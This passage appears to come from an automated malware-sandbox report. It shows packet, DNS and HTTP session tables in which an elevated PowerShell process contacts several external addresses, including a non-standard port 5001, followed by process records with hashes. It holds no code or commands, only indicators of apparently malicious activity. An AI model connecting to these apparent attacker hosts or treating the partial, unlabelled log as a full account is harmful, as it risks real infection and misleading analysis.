| Feb 18, 2025 08:29:07.665060043 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.665065050 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665163040 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665167093 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.665174007 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665215015 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.665683031 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665770054 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665771008 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.665776968 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665813923 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.665817976 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665867090 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.665870905 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.665911913 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.669095993 CET | 5001 | 49737 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752115965 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752235889 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752263069 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752304077 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752309084 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752341986 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752377987 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752413988 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752471924 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752513885 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752579927 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752633095 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752671003 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752720118 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752762079 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752842903 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752851963 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.752902031 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.752952099 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.753005028 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.753041983 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.753091097 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.753151894 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.753211975 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.753242970 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.753295898 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.753335953 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.753387928 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.753463030 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.753521919 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.753568888 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.753617048 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.753653049 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.753700972 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.754448891 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.754506111 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.754538059 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.754591942 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.837148905 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.837269068 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.837616920 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.837682009 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.837699890 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.837754965 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.837784052 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.837831974 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.837837934 CET | 443 | 49734 | 104.18.10.207 | 192.168.2.4 |
| Feb 18, 2025 08:29:07.837886095 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.837918043 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:07.837918043 CET | 49734 | 443 | 192.168.2.4 | 104.18.10.207 |
| Feb 18, 2025 08:29:08.318006992 CET | 5001 | 49737 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:08.328344107 CET | 5001 | 49737 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:08.328399897 CET | 5001 | 49737 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:08.328516006 CET | 49737 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:08.328566074 CET | 49737 | 5001 | 192.168.2.4 | 91.206.178.120 |
| Feb 18, 2025 08:29:08.333429098 CET | 5001 | 49737 | 91.206.178.120 | 192.168.2.4 |
| Feb 18, 2025 08:29:08.931941986 CET | 49731 | 80 | 192.168.2.4 | 104.26.13.205 |
| Feb 18, 2025 08:29:52.785151958 CET | 65198 | 53 | 192.168.2.4 | 162.159.36.2 |
| Feb 18, 2025 08:29:52.790086031 CET | 53 | 65198 | 162.159.36.2 | 192.168.2.4 |
| Feb 18, 2025 08:29:52.790199041 CET | 65198 | 53 | 192.168.2.4 | 162.159.36.2 |
| Feb 18, 2025 08:29:52.795046091 CET | 53 | 65198 | 162.159.36.2 | 192.168.2.4 |
| Feb 18, 2025 08:29:53.277612925 CET | 65198 | 53 | 192.168.2.4 | 162.159.36.2 |
| Feb 18, 2025 08:29:53.445013046 CET | 65198 | 53 | 192.168.2.4 | 162.159.36.2 |
| Feb 18, 2025 08:29:53.450069904 CET | 53 | 65198 | 162.159.36.2 | 192.168.2.4 |
| Feb 18, 2025 08:29:53.450129032 CET | 65198 | 53 | 192.168.2.4 | 162.159.36.2 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Feb 18, 2025 08:29:02.692496061 CET | 60488 | 53 | 192.168.2.4 | 1.1.1.1 |
| Feb 18, 2025 08:29:02.699337959 CET | 53 | 60488 | 1.1.1.1 | 192.168.2.4 |
| Feb 18, 2025 08:29:05.591137886 CET | 52221 | 53 | 192.168.2.4 | 1.1.1.1 |
| Feb 18, 2025 08:29:05.634382010 CET | 53 | 52221 | 1.1.1.1 | 192.168.2.4 |
| Feb 18, 2025 08:29:06.941977978 CET | 65033 | 53 | 192.168.2.4 | 1.1.1.1 |
| Feb 18, 2025 08:29:06.949064016 CET | 53 | 65033 | 1.1.1.1 | 192.168.2.4 |
| Feb 18, 2025 08:29:52.784485102 CET | 53 | 60305 | 162.159.36.2 | 192.168.2.4 |
| Feb 18, 2025 08:29:53.519424915 CET | 53 | 49163 | 1.1.1.1 | 192.168.2.4 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Feb 18, 2025 08:29:02.692496061 CET | 192.168.2.4 | 1.1.1.1 | 0xca25 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Feb 18, 2025 08:29:05.591137886 CET | 192.168.2.4 | 1.1.1.1 | 0x6dde | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Feb 18, 2025 08:29:06.941977978 CET | 192.168.2.4 | 1.1.1.1 | 0x395a | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Feb 18, 2025 08:29:02.699337959 CET | 1.1.1.1 | 192.168.2.4 | 0xca25 | No error (0) | 104.26.13.205 | A (IP address) | IN (0x0001) | false | ||
| Feb 18, 2025 08:29:02.699337959 CET | 1.1.1.1 | 192.168.2.4 | 0xca25 | No error (0) | 172.67.74.152 | A (IP address) | IN (0x0001) | false | ||
| Feb 18, 2025 08:29:02.699337959 CET | 1.1.1.1 | 192.168.2.4 | 0xca25 | No error (0) | 104.26.12.205 | A (IP address) | IN (0x0001) | false | ||
| Feb 18, 2025 08:29:05.634382010 CET | 1.1.1.1 | 192.168.2.4 | 0x6dde | No error (0) | 185.211.7.193 | A (IP address) | IN (0x0001) | false | ||
| Feb 18, 2025 08:29:06.949064016 CET | 1.1.1.1 | 192.168.2.4 | 0x395a | No error (0) | 104.18.10.207 | A (IP address) | IN (0x0001) | false | ||
| Feb 18, 2025 08:29:06.949064016 CET | 1.1.1.1 | 192.168.2.4 | 0x395a | No error (0) | 104.18.11.207 | A (IP address) | IN (0x0001) | false |
|
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.4 | 49731 | 104.26.13.205 | 80 | 6808 | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Feb 18, 2025 08:29:02.713057995 CET | 158 | OUT | |
| Feb 18, 2025 08:29:03.178155899 CET | 430 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.4 | 49732 | 91.206.178.120 | 5001 | 6808 | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Feb 18, 2025 08:29:04.343100071 CET | 264 | OUT | |
| Feb 18, 2025 08:29:05.565612078 CET | 174 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.4 | 49737 | 91.206.178.120 | 5001 | 6808 | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Feb 18, 2025 08:29:07.664241076 CET | 170 | OUT | |
| Feb 18, 2025 08:29:08.318006992 CET | 174 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.4 | 49733 | 185.211.7.193 | 443 | 6808 | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-02-18 07:29:06 UTC | 209 | OUT | |
| 2025-02-18 07:29:06 UTC | 472 | IN | |
| 2025-02-18 07:29:06 UTC | 896 | IN | |
| 2025-02-18 07:29:06 UTC | 1561 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.4 | 49734 | 104.18.10.207 | 443 | 6808 | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-02-18 07:29:07 UTC | 344 | OUT | |
| 2025-02-18 07:29:07 UTC | 952 | IN | |
| 2025-02-18 07:29:07 UTC | 417 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN | |
| 2025-02-18 07:29:07 UTC | 1369 | IN |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
| Target ID: | 0 |
| Start time: | 02:29:00 |
| Start date: | 18/02/2025 |
| Path: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x1e0000 |
| File size: | 433'152 bytes |
| MD5 hash: | C32CA4ACFCC635EC1EA6ED8A34DF5FAC |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 1 |
| Start time: | 02:29:00 |
| Start date: | 18/02/2025 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff7699e0000 |
| File size: | 862'208 bytes |
| MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 2 |
| Start time: | 02:29:01 |
| Start date: | 18/02/2025 |
| Path: | C:\Windows\System32\notepad.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff7c9fc0000 |
| File size: | 201'216 bytes |
| MD5 hash: | 27F71B12CB585541885A31BE22F61C83 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |